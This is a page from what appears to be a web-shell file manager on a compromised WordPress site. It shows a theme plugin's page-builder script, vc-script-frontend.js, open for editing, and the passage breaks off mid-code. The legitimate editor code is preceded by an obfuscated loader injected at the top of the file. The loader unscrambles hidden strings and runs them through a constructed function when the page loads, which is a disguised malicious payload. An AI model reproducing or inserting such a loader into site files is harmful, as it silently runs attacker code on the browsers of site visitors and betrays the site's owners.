X7ROOT File Manager
Current Path:
/home/hamdjcne/public_html/wp-content/plugins/hub-core/assets/js
home
/
hamdjcne
/
public_html
/
wp-content
/
plugins
/
hub-core
/
assets
/
js
/
ðŸ“
..
📄
grapick.min.js
(21.08 KB)
📄
plugin.liquidColorPicker.min.js
(77 KB)
📄
spectrum.min.js
(38.94 KB)
📄
vc-script-frontend.js
(79.83 KB)
📄
vc-script.js
(27.44 KB)
Editing: vc-script-frontend.js
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();(function($) { vc.events.on("app.render", function() { vc.frame_window.liquidElements(vc.frame_window.jQuery); }) vc.events.on(`shortcodeView:ready:vc_row shortcodeView:updated:vc_row shortcodeView:ready:vc_row_inner shortcodeView:updated:vc_row_inner`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-slideshow-bg]', vc.frame_window.jQuery($el)).liquidSlideshowBG(); vc.frame_window.jQuery('.vc_row[data-parallax]', vc.frame_window.jQuery($el)).liquidParallax(); vc.frame_window.jQuery('.row-bg[data-parallax]', vc.frame_window.jQuery($el)).liquidParallax(); vc.frame_window.jQuery('.vc_row[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); vc.frame_window.jQuery($('[data-pin=true]').get().reverse(), vc.frame_window.jQuery($el)).liquidPin(); vc.frame_window.jQuery('[data-shrink-borders]', vc.frame_window.jQuery($el)).liquidShrinkBorders(); }); vc.events.on(`shortcodeView:ready:vc_column shortcodeView:updated:vc_column shortcodeView:ready:vc_column_inner shortcodeView:updated:vc_column_inner`, model => { if ( ! model.view ) return; const $el = model.view.$el; // const $circleProgressbar = vc.frame_window.jQuery('[data-progressbar].ld-prgbr-circle', vc.frame_window.jQuery($el)); vc.frame_window.jQuery('[data-slideshow-bg]', vc.frame_window.jQuery($el)).liquidSlideshowBG(); vc.frame_window.jQuery('> .wpb_column', vc.frame_window.jQuery($el)).liquidParallax(); vc.frame_window.jQuery('.wpb_wrapper', vc.frame_window.jQuery($el)).liquidCustomAnimations(); vc.frame_window.jQuery($('[data-pin=true]').get().reverse(), vc.frame_window.jQuery($el)).liquidPin(); // if ( $circleProgressbar.length ) { // vc.frame_window.jQuery('.ld-prgbr-circle-container'. $circleProgressbar).circleProgress(); // } }); vc.events.on( `shortcodeView:ready:ld_blog shortcodeView:updated:ld_blog shortcodeView:ready:ld_portfolio_listing shortcodeView:updated:ld_portfolio_listing`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-liquid-masonry]', vc.frame_window.jQuery($el)).liquidMasonry({bypassCheck: true}); vc.frame_window.jQuery('[data-lqd-flickity]', vc.frame_window.jQuery($el)).liquidCarousel({bypassCheck: true}); vc.frame_window.jQuery('[data-fittext]', vc.frame_window.jQuery($el)).liquidFitText(); vc.frame_window.jQuery('[data-split-text]', vc.frame_window.jQuery($el)).liquidSplitText() vc.frame_window.jQuery('[data-parallax]', vc.frame_window.jQuery($el)).liquidParallax(); }); vc.events.on(`shortcodeView:ready:ld_fancy_heading shortcodeView:updated:ld_fancy_heading`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-parallax]', vc.frame_window.jQuery($el)).liquidParallax(); vc.frame_window.jQuery('[data-fittext]', vc.frame_window.jQuery($el)).liquidFitText(); vc.frame_window.jQuery('[data-split-text]', vc.frame_window.jQuery($el)).liquidSplitText(); vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); vc.frame_window.jQuery('[data-text-rotator]', vc.frame_window.jQuery($el)).liquidTextRotator(); vc.frame_window.jQuery('[data-inview]', vc.frame_window.jQuery($el)).liquidInView(); }); vc.events.on(`shortcodeView:ready:ld_icon_box shortcodeView:updated:ld_icon_box`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-animate-icon]', vc.frame_window.jQuery($el)).liquidAnimatedIcon(); vc.frame_window.jQuery('[data-slideelement-onhover]', vc.frame_window.jQuery($el)).liquidSlideElement(); }); vc.events.on(`shortcodeView:ready:ld_google_map shortcodeView:updated:ld_google_map`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-plugin-map]', vc.frame_window.jQuery($el)).liquidMap(); }); vc.events.on(`shortcodeView:ready:ld_button shortcodeView:updated:ld_button`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-localscroll]', vc.frame_window.jQuery($el)).liquidLocalScroll(); }); vc.events.on(`shortcodeView:ready:ld_button shortcodeView:updated:ld_button`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-split-text]', vc.frame_window.jQuery($el)).liquidSplitText(); vc.frame_window.jQuery('[data-transition-delay]', vc.frame_window.jQuery($el)).liquidTransitionDelay(); vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); }); vc.events.on(`shortcodeView:ready:ld_typewriter shortcodeView:updated:ld_typewriter`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-typewriter]', vc.frame_window.jQuery($el)).liquidTypewriter(); }); vc.events.on(`shortcodeView:ready:ld_freakin_image shortcodeView:updated:ld_freakin_image`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-inview]', vc.frame_window.jQuery($el)).liquidInView(); }); vc.events.on(`shortcodeView:ready:ld_content_box shortcodeView:updated:ld_content_box`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-responsive-bg]', vc.frame_window.jQuery($el)).liquidResponsiveBG(); vc.frame_window.jQuery('[data-parallax]', vc.frame_window.jQuery($el)).liquidParallax(); vc.frame_window.jQuery('[data-fittext]', vc.frame_window.jQuery($el)).liquidFitText(); vc.frame_window.jQuery('[data-split-text]', vc.frame_window.jQuery($el)).liquidSplitText(); vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); vc.frame_window.jQuery('[data-inview]', vc.frame_window.jQuery($el)).liquidInView(); vc.frame_window.jQuery('[data-hover3d]', vc.frame_window.jQuery($el)).liquidHover3d(); vc.frame_window.jQuery('[data-reveal]', vc.frame_window.jQuery($el)).liquidReveal(); vc.frame_window.jQuery('[data-slideelement-onhover]', vc.frame_window.jQuery($el)).liquidSlideElement(); }); vc.events.on(`shortcodeView:ready:ld_asymmetric_slider shortcodeView:updated:ld_asymmetric_slider`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-fittext]', vc.frame_window.jQuery($el)).liquidFitText(); vc.frame_window.jQuery('[data-split-text]', vc.frame_window.jQuery($el)).liquidSplitText(); vc.frame_window.jQuery('[data-asym-slider]', vc.frame_window.jQuery($el)).liquidAsymmetricSlider(); }); vc.events.on(`shortcodeView:ready:ld_bananas_banner shortcodeView:updated:ld_bananas_banner`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-parallax]', vc.frame_window.jQuery($el)).liquidParallax(); }); // vc.events.on(`shortcodeView:ready:ld_carousel_falcate shortcodeView:updated:ld_carousel_falcate`, model => { // if ( ! model.view ) return; // const $el = model.view.$el; // _.defer(() => { // if ( $el.find('.carousel-item').length ) { // vc.frame_window.jQuery('.carousel-falcate', vc.frame_window.jQuery($el)).liquidCarouselFalcate(); // } // }); // }); vc.events.on(`shortcodeView:ready:ld_carousel_gallery shortcodeView:updated:ld_carousel_gallery`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-lqd-flickity]', vc.frame_window.jQuery($el)).liquidCarousel({bypassCheck: true}); }); vc.events.on(`shortcodeView:ready:ld_d_banner shortcodeView:updated:ld_d_banner`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-fittext]', vc.frame_window.jQuery($el)).liquidFitText(); vc.frame_window.jQuery('[data-split-text]', vc.frame_window.jQuery($el)).liquidSplitText() vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); vc.frame_window.jQuery('[data-hover3d]', vc.frame_window.jQuery($el)).liquidHover3d(); }); vc.events.on(`shortcodeView:ready:ld_d_depth_banner shortcodeView:updated:ld_d_depth_banner`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-lqd-fake3d]', vc.frame_window.jQuery($el)).liquidFake3d(); }); vc.events.on(`shortcodeView:ready:ld_distorse_gallery shortcodeView:updated:ld_distorse_gallery`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-lqd-img-trail]', vc.frame_window.jQuery($el)).liquidImageTrail(); vc.frame_window.jQuery('[data-lqd-dist-gal]', vc.frame_window.jQuery($el)).liquidDistortedImageGallery(); }); vc.events.on(`shortcodeView:ready:ld_fullproj shortcodeView:updated:ld_fullproj`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-lqd-fullproj]', vc.frame_window.jQuery($el)).liquidFullscreenProject(); vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); vc.frame_window.jQuery('[data-active-onhover]', vc.frame_window.jQuery($el)).liquidSetActiveOnhover(); }); vc.events.on(`shortcodeView:ready:ld_imgage_overlay_text shortcodeView:updated:ld_imgage_overlay_text`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-inview]', vc.frame_window.jQuery($el)).liquidInView(); vc.frame_window.jQuery('[data-hover3d]', vc.frame_window.jQuery($el)).liquidHover3d(); vc.frame_window.jQuery('[data-webglhover]', vc.frame_window.jQuery($el)).liquidWebGLHover(); }); vc.events.on(`shortcodeView:ready:ld_imgtxt_slider shortcodeView:updated:ld_imgtxt_slider`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); }); vc.events.on(`shortcodeView:ready:ld_image_trail shortcodeView:updated:ld_image_trail`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-lqd-img-trail]', vc.frame_window.jQuery($el)).liquidImageTrail(); }); vc.events.on(`shortcodeView:ready:ld_masked_image shortcodeView:updated:ld_masked_image`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-dynamic-shape]', vc.frame_window.jQuery($el)).liquidDynamicShape(); }); vc.events.on(`shortcodeView:ready:ld_progressbar shortcodeView:updated:ld_progressbar`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-progressbar]', vc.frame_window.jQuery($el)).liquidProgressbar(); }); vc.events.on(`shortcodeView:ready:ld_promo shortcodeView:updated:ld_promo`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-split-text]', vc.frame_window.jQuery($el)).liquidSplitText() vc.frame_window.jQuery('[data-dynamic-shape]', vc.frame_window.jQuery($el)).liquidDynamicShape(); vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); vc.frame_window.jQuery('[data-reveal]', vc.frame_window.jQuery($el)).liquidReveal(); }); vc.events.on(`shortcodeView:ready:ld_shop_banner shortcodeView:updated:ld_shop_banner`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-hover3d]', vc.frame_window.jQuery($el)).liquidHover3d(); }); vc.events.on(`shortcodeView:ready:ld_slideshow shortcodeView:updated:ld_slideshow`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-fittext]', vc.frame_window.jQuery($el)).liquidFitText(); vc.frame_window.jQuery('[data-split-text]', vc.frame_window.jQuery($el)).liquidSplitText() vc.frame_window.jQuery('[data-lqd-flickity]', vc.frame_window.jQuery($el)).liquidCarousel({bypassCheck: true}); vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); }); vc.events.on(`shortcodeView:ready:ld_team_member shortcodeView:updated:ld_team_member`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); vc.frame_window.jQuery('[data-reveal]', vc.frame_window.jQuery($el)).liquidReveal(); }); vc.events.on(`shortcodeView:ready:ld_team_members_circular shortcodeView:updated:ld_team_members_circular`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery($el)).liquidCustomAnimations(); }); vc.events.on(`shortcodeView:ready:ld_woo_products_list shortcodeView:updated:ld_woo_products_list`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-liquid-masonry]', vc.frame_window.jQuery($el)).liquidMasonry({bypassCheck: true}); vc.frame_window.jQuery('[data-lqd-flickity]', vc.frame_window.jQuery($el)).liquidCarousel({bypassCheck: true}); }); vc.events.on(`shortcodeView:ready:ld_images_comparison shortcodeView:updated:ld_images_comparison`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('.cd-image-container', vc.frame_window.jQuery($el)).liquidImageComparison(); }); vc.events.on(`shortcodeView:ready:ld_countdown shortcodeView:updated:ld_countdown`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-plugin-countdown=true]', vc.frame_window.jQuery($el)).liquidCountdown(); }); vc.events.on(`shortcodeView:ready:ld_counter shortcodeView:updated:ld_counter`, model => { if ( ! model.view ) return; const $el = model.view.$el; vc.frame_window.jQuery('[data-enable-counter]', vc.frame_window.jQuery($el)).liquidCounter(); }); })(window.jQuery); (function( $ ) { 'use strict'; vc.events.on("app.render", function() { if ( vc.frame_window.jQuery('#lqd-site-content[data-liquid-stack]').length ) { vc.frame_window.jQuery('#lqd-site-content[data-liquid-stack]').liquidStack({ sectionSelector: '#lqd-contents-wrap > .vc_vc_row' }); } }) })( window.jQuery ); (function( $ ) { 'use strict'; window.InlineShortcodeView_vc_accordion = window.InlineShortcodeViewContainer.extend( { events: {}, childTag: 'vc_accordion_tab', defaultSectionTitle: window.i18nLocale.section, initialize: function() { _.bindAll( this, 'buildSortable', 'updateSorting' ); window.InlineShortcodeView_vc_accordion.__super__.initialize.call(this); }, render: function() { this.$accordion = this.$el.find('.accordion'); window.InlineShortcodeView_vc_accordion.__super__.render.call(this); _.bindAll(this, 'buildAccordion'); this.content(); this.content().removeClass('vc_element-container'); this.buildAccordion(); return this; }, content: function() { if ( ! this.$content ) { this.$content = this.$accordion; // this.$el.find('.vc_container-anchor:first').remove(); } return this.$content; }, addControls: function() { this.$controls = $('<div class="no-controls"></div>'); this.$controls.appendTo(this.$el); return this; }, addElement: function(e) { e && e.preventDefault(); this.addSection('parent.prepend' === $(e.currentTarget).data('vcControl')); }, appendElement: function(e) { return this.addElement(e); }, prependElement: function(e) { return this.addElement(e); }, addSection: function( prepend ) { let shortcode = this.childTag; const params = { shortcode: shortcode, parent_id: this.model.get( 'id' ), isActiveSection: true, params: { title: this.defaultSectionTitle } }; if (prepend) { vc.activity = 'prepend'; params.order = this.getSiblingsFirstPositionIndex(); } vc.builder.create(params); for (let i = vc.builder.models.length - 1; i >= 0; i --) { shortcode = vc.builder.models[i].get('shortcode'); } vc.builder.render(); }, buildAccordion: function() { vc.frame_window.vc_iframe.addActivity(() => { vc.frame_window.jQuery(this.$accordion).liquidAccordion(); }); }, getSiblingsFirstPositionIndex: function() { let order = 0; const shortcodeFirst = vc.shortcodes.sort().findWhere({parent_id: this.model.get('id')}); if ( shortcodeFirst ) { order = shortcodeFirst.get('order') - 1; } return order; }, changed: function() { window.InlineShortcodeView_vc_accordion.__super__.changed.call(this); _.defer( this.buildSortable ); }, updated: function() { window.InlineShortcodeView_vc_accordion.__super__.updated.call(this); _.defer( this.buildSortable ); }, buildSortable: function() { if ( ! vc_user_access().shortcodeEdit( this.model.get( 'shortcode' ) ) ) { return } if ( this.$el ) { this.$el.find('.accordion').sortable({ forcePlaceholderSize: true, placeholder: 'vc_placeholder-row', start: this.startSorting, over: function(event, ui) { ui.placeholder.css( { maxWidth: ui.placeholder.parent().width() } ); ui.placeholder.removeClass( 'vc_hidden-placeholder' ); }, items: '.vc_vc_accordion_tab', handle: '.accordion-title, .vc_child-element-move', update: this.updateSorting }); } }, startSorting: function(event, ui) { ui.placeholder.width( ui.item.width() ); }, updateSorting: function(event, ui) { this.getPanelsList().each((i, item) => { const $this = $(item); const modelId = $this.parent().data('modelId'); const shortcode = vc.shortcodes.get(modelId); shortcode.save({ 'order': this.getIndex($this)}, {silent: true}); } ); }, getIndex: function( $element ) { return $element.index(); }, getPanelsList: function() { return this.$accordion.find('.accordion-item'); }, } ); })( window.jQuery ); (function( $ ) { 'use strict'; window.InlineShortcodeView_vc_accordion_tab = window.InlineShortcodeViewContainerWithParent.extend( { controls_selector: '#vc_controls-template-vc_tta_section', events: { 'click > .vc_controls .vc_element .vc_control-btn-delete': 'destroy', 'click > .vc_controls .vc_element .vc_control-btn-edit': 'edit', 'click > .vc_controls .vc_element .vc_control-btn-clone': 'clone', 'click > .vc_controls .vc_element .vc_control-btn-prepend': 'prependElement', 'click > .vc_controls .vc_control-btn-append': 'appendElement', 'click > .vc_controls .vc_parent .vc_control-btn-delete': 'destroyParent', 'click > .vc_controls .vc_parent .vc_control-btn-edit': 'editParent', 'click > .vc_controls .vc_parent .vc_control-btn-clone': 'cloneParent', 'click > .vc_controls .vc_parent .vc_control-btn-prepend': 'addSibling', 'click .accordion-content > [data-js-panel-body].vc_empty-element': 'appendElement', 'click > .vc_controls .vc_control-btn-switcher': 'switchControls', 'mouseenter': 'resetActive', 'mouseleave': 'holdActive' }, render: function() { window.InlineShortcodeView_vc_accordion_tab.__super__.render.call(this); this.$collapse = vc.frame_window.jQuery(this.$el.find('.accordion-collapse')); this.$parent = vc.frame_window.jQuery(this.parent_view.$accordion); _.bindAll(this, 'initAccordion', 'activeAccordion', 'addExpanderIcons'); _.defer( this.initAccordion ); _.defer( this.activeAccordion ); _.defer( this.addExpanderIcons ); return this; }, changed: function() { if ( this.allowAddControlOnEmpty() && ! this.$el.find('.vc_element[data-tag]').length ) { this.$el.addClass('vc_empty'); this.content().addClass('vc_empty-element'); } else { this.$el.removeClass('vc_empty'); this.content().removeClass('vc_empty-element'); } }, destroy: function(e) { var parent_id = this.model.get('parent_id'); window.InlineShortcodeView_vc_accordion_tab.__super__.destroy.call(this, e); if ( ! vc.shortcodes.where({parent_id: parent_id}).length ) { vc.shortcodes.get(parent_id).destroy(); } }, allowAddControl: function() { return vc_user_access().shortcodeAll('vc_accordion_tab'); }, addExpanderIcons: function() { const parentModel = window.vc.shortcodes.get(this.model.get('parent_id')); const $link = this.$el.find('[data-toggle=collapse]'); let $expander = $link.children('.accordion-expander'); let $idleIcon = $expander.find('i:first'); let $activeIcon = $expander.find('i:last'); let idleIconClass; let activeIconClass; switch (parentModel.get('params').i_type) { case 'fontawesome': idleIconClass = parentModel.get('params')['i_icon_fontawesome']; break; case 'linea': idleIconClass = parentModel.get('params')['i_icon_linea']; break; default: idleIconClass = ''; break; }; switch (parentModel.get('params').active_type) { case 'fontawesome': activeIconClass = parentModel.get('params')['active_icon_fontawesome']; break; case 'linea': activeIconClass = parentModel.get('params')['active_icon_linea']; break; default: activeIconClass = ''; break; }; if ( ! $expander.length ) { $expander = $(`<span class="accordion-expander" />`); } if ( idleIconClass !== '' ) { $expander.length && $idleIcon.length ? $idleIcon.attr('class', idleIconClass) : $expander.append(`<i class="${idleIconClass}" />`); } if ( activeIconClass !== '' ) { $expander.length && $activeIcon.length ? $activeIcon.attr('class', activeIconClass) : $expander.append(`<i class="${activeIconClass}" />`); } ! $link.children('.accordion-expander').length && $link.append($expander); }, initAccordion: function() { this.$collapse.on('show.bs.collapse hide.bs.collapse', ev => { this.model.set('isActiveSection', ev.type === 'show'); }) }, activeAccordion: function() { const tabId = this.model.getParam('tab_id'); const $collapse = window.vc.frame_window.jQuery(`#${tabId}`); if ( this.model.get('isActiveSection') ) { $collapse.collapse('show'); } else { $collapse.collapse('hide'); } }, parentChanged: function() { window.InlineShortcodeView_vc_accordion_tab.__super__.parentChanged.call(this); _.defer( this.addExpanderIcons ); return this; } } ); function lqdMapChildEvents( model ) { var child_tag = 'vc_accordion_tab'; window.vc.events.on(`shortcodes:${child_tag}:add:parent:${model.get('id')}`, model => { const parent_model = window.vc.shortcodes.get( model.get( 'parent_id' ) ); const activeTabParam = parent_model.getParam('active_tab'); const active_tab_index = activeTabParam === '' ? 1 : activeTabParam; const models = _.pluck( _.sortBy( window.vc.shortcodes.where({parent_id: parent_model.get('id')}), model => model.get('order') ), 'id' ); if ( models.indexOf( model.get('id') ) === active_tab_index - 1 ) { model.set('isActiveSection', true); } return model; }); window.vc.events.on(`shortcodes:${child_tag}:clone:parent:${model.get('id')}`, model => { if ( window.vc.lqdSectionActiveOnClone ) { model.set('isActiveSection', true); } window.vc.lqdSectionActiveOnClone = false; }); } window.vc.events.on( 'shortcodes:vc_accordion:add', lqdMapChildEvents ); })( window.jQuery ); (function($) { 'use strict'; window.InlineShortcodeView_ld_carousel_tab = window.InlineShortcodeViewContainer.extend({ childTag: 'ld_carousel_section', $carouselNavElement: null, events: { 'click > .vc_controls .vc_control-btn-delete': 'destroy', 'click > .vc_controls .vc_control-btn-edit': 'edit', 'click > .vc_controls .vc_control-btn-clone': 'clone', 'click > .vc_controls .vc_control-btn-append': 'appendElement', 'click > .vc_controls .vc_control-btn-prepend': 'prependElement', 'click > .vc_controls .vc_control-btn-layout': 'changeLayout', 'click > .vc_controls .vc_control-btn-control-slide': 'changeSlide', 'click > .vc_controls .vc_control-btn-control-playpause': 'controlPlayPause', 'click > .vc_controls .vc_control-btn-switcher': 'switchControls', }, initialize: function() { _.bindAll(this, 'buildSortable', 'updateSorting', 'togglePlayPauseBtn'); window.InlineShortcodeView_ld_carousel_tab.__super__.initialize.call(this); }, render: function() { window.InlineShortcodeView_ld_carousel_tab.__super__.render.call(this); _.bindAll(this, 'initCarousel', 'appendToCarousel', 'repositionCarousel', 'resizeCarousel', 'removeCell', 'getPluginData', 'changeSlide'); this.$carouselEl = vc.frame_window.jQuery(this.$el).find('[data-lqd-flickity]'); window.vc.frame_window.vc_iframe.addActivity(this.initCarousel); return this; }, content: function() { if ( ! this.$content ) { this.$content = this.$el.find('[data-lqd-flickity]'); this.$el.find('.vc_container-anchor:first').remove(); } else if ( this.$content.find('.flickity-slider').length ) { this.$content.removeClass('vc_element-container'); this.$content = this.$content.find('.flickity-slider').addClass('vc_element-container'); } return this.$content; }, addControls: function() { window.InlineShortcodeView_ld_carousel_tab.__super__.addControls.call( this ); if ( ! this.$carouselControls ) { const $prevBtn = $('<a class="vc_control-btn vc_control-btn-control-slide" href="#" title="Previous Slide" data-vc-control="previous" target="_blank"><span class="vc_btn-content"><i class="la la-arrow-left"></i></span></a>'); const $nextBtn = $('<a class="vc_control-btn vc_control-btn-control-slide" href="#" title="Next Slide" data-vc-control="next" target="_blank"><span class="vc_btn-content"><i class="la la-arrow-right"></i></span></a>'); const $playPauseBtn = $('<a class="vc_control-btn vc_control-btn-control-playpause" href="#" title="Play/Pause" data-vc-control="play-pause" target="_blank"><span class="vc_btn-content"><i class="la la-play"></i><i class="la la-pause"></i></span></a>'); this.$carouselControls = $(`<div class="vc_controls-element vc_controls vc_controls-carousel"><div class="vc_controls-out-tc"></div></div>`); this.$carouselControls.appendTo(this.$el); this.$carouselControls.children().append([$prevBtn, $nextBtn, $playPauseBtn]); } return this; }, addElement: function(e) { if (e && e.preventDefault ) { e.preventDefault(); }; vc.builder.create({ shortcode: this.childTag, parent_id: this.model.get('id'), params: { title: window.i18nLocale.section } }).render(); }, parentChanged: function() { window.InlineShortcodeView_ld_carousel_tab.__super__.parentChanged.call( this ); _.defer( this.repositionCarousel ); }, changed: function() { window.InlineShortcodeView_ld_carousel_tab.__super__.changed.call( this ); _.defer( this.buildSortable ); _.defer( this.togglePlayPauseBtn ); }, beforeUpdate: function() { window.InlineShortcodeView_ld_carousel_tab.__super__.beforeUpdate.call( this ); vc.frame_window.jQuery(this.getPluginData().carouselNavElement).remove(); }, updated: function() { window.InlineShortcodeView_ld_carousel_tab.__super__.updated.call( this ); _.defer( this.repositionCarousel ); _.defer( this.buildSortable ); _.defer( this.togglePlayPauseBtn ); }, buildSortable: function() { if ( ! vc_user_access().shortcodeEdit(this.model.get('shortcode')) ) { return; } if ( this.$el ) { this.$el.find('.carousel-items').sortable( { items: '.carousel-item', handle: '.element-ld_carousel_section .vc_element-move, .element-ld_carousel_marquee_section .vc_element-move', tolerance: "pointer", placeholder: 